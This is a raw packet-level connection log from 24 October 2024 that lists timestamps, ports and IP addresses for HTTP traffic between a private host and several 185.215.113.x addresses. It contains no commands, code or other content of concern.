Oct 24, 2024 11:02:53.891222000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891228914 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891237974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891242981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891246080 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891256094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891266108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891269922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891279936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891283989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891298056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891333103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891333103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891333103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891340971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891345978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891372919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891391039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891410112 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891418934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891433954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891433954 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891448021 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891458988 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891460896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891469955 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891477108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891489983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891490936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891499043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891505957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891520023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891520977 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891535044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891535997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891546011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891549110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891563892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891565084 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891578913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891582966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891592026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891607046 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891607046 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891628981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891633034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891644001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891657114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891658068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891673088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891683102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891690016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891702890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891709089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891719103 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891722918 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891733885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891747952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891751051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891762018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891776085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891776085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891792059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891801119 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891807079 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891822100 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891829014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891838074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891849041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891851902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891866922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891871929 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891882896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891896963 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891896963 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891912937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891918898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891927958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891942978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891943932 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891954899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891957998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891973019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891983986 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.891988039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.891999006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.892004967 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.892013073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.892026901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.892043114 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893134117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893148899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893162966 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893177986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893193007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893198967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893208027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893222094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893248081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893248081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893269062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893277884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893299103 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893312931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893312931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893327951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893338919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893343925 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893363953 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893369913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893379927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893389940 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893394947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893409014 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893415928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893424988 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893430948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893440008 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893446922 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893455982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893456936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893471956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893476009 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893493891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893496990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893511057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893511057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893526077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893534899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893539906 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893542051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893554926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893562078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893568993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893584013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893598080 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893599033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893614054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893625021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893682957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.893687010 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.893718958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:56.141028881 CEST	49913	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:56.141038895 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:56.146311998 CEST	80	49913	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:56.146388054 CEST	49913	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:56.146524906 CEST	49913	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:56.146639109 CEST	80	49881	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:56.146737099 CEST	49881	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:56.152046919 CEST	80	49913	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:56.475989103 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:56.481581926 CEST	80	49918	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:56.481661081 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:56.481801987 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:56.487124920 CEST	80	49918	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:57.364068031 CEST	80	49913	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:57.364151955 CEST	49913	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:57.364768028 CEST	80	49913	185.215.113.43	192.168.2.6
Oct 24, 2024 11:02:57.364829063 CEST	49913	80	192.168.2.6	185.215.113.43
Oct 24, 2024 11:02:57.367541075 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:57.368315935 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:57.373420954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:57.373471975 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:57.373611927 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:57.373692989 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:57.373816967 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:57.379100084 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:57.394315004 CEST	80	49918	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:57.394490957 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:57.413881063 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:57.419254065 CEST	80	49918	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:57.703808069 CEST	80	49918	185.215.113.37	192.168.2.6
Oct 24, 2024 11:02:57.703869104 CEST	49918	80	192.168.2.6	185.215.113.37
Oct 24, 2024 11:02:58.285469055 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285509109 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285521030 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285552025 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.285557032 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285608053 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.285609007 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.285655975 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285667896 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285679102 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285691023 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285703897 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285706997 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.285713911 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.285732985 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.285762072 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.291085958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.291122913 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.291153908 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.291187048 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.291253090 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.291300058 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444176912 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444205046 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444216013 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444339037 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444344997 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444355011 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444439888 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444595098 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444658995 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444659948 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444672108 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444710016 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444801092 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444813967 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.444853067 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.444888115 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.445538998 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.445560932 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.445593119 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.445615053 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.445616007 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.445655107 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.561512947 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.561583042 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.561583042 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.561619997 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.561702013 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.561758041 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.561769962 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.561772108 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.561800957 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.561813116 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.562092066 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562144041 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562155962 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562210083 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.562242031 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.562496901 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562557936 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562570095 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562617064 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.562645912 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.562707901 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562720060 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.562773943 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.603102922 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.603116035 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.603391886 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679214954 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679253101 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679267883 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679284096 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679297924 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679322958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679346085 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679409981 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679649115 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679816961 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679830074 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679894924 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679914951 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679932117 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679948092 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.679975033 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.679975033 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.680012941 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.680193901 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.680250883 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.720447063 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.720479965 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.720496893 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.720514059 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.720552921 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.720552921 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.720647097 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.796761036 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796788931 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796808004 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796823025 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796835899 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.796844959 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796866894 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.796895027 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.796935081 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796967030 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796983957 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.796991110 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.797018051 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.797034025 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838129997 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838157892 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838176966 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838195086 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838212013 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838233948 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838257074 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838258028 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838258028 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838274002 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.838351965 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838351965 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.838403940 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.881438971 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.881455898 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.881609917 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.914000988 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914026976 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914041996 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914056063 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914134979 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.914190054 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.914329052 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914341927 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914356947 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.914382935 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.914397001 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.955521107 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955538034 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955552101 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955619097 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.955648899 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955662966 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955674887 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955688000 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.955714941 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.955735922 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.956543922 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.956599951 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.998761892 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.998785973 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:58.998873949 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:58.998940945 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031575918 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031656027 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031666994 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031677008 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:59.031730890 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:59.031800032 CEST	80	49920	185.215.113.16	192.168.2.6
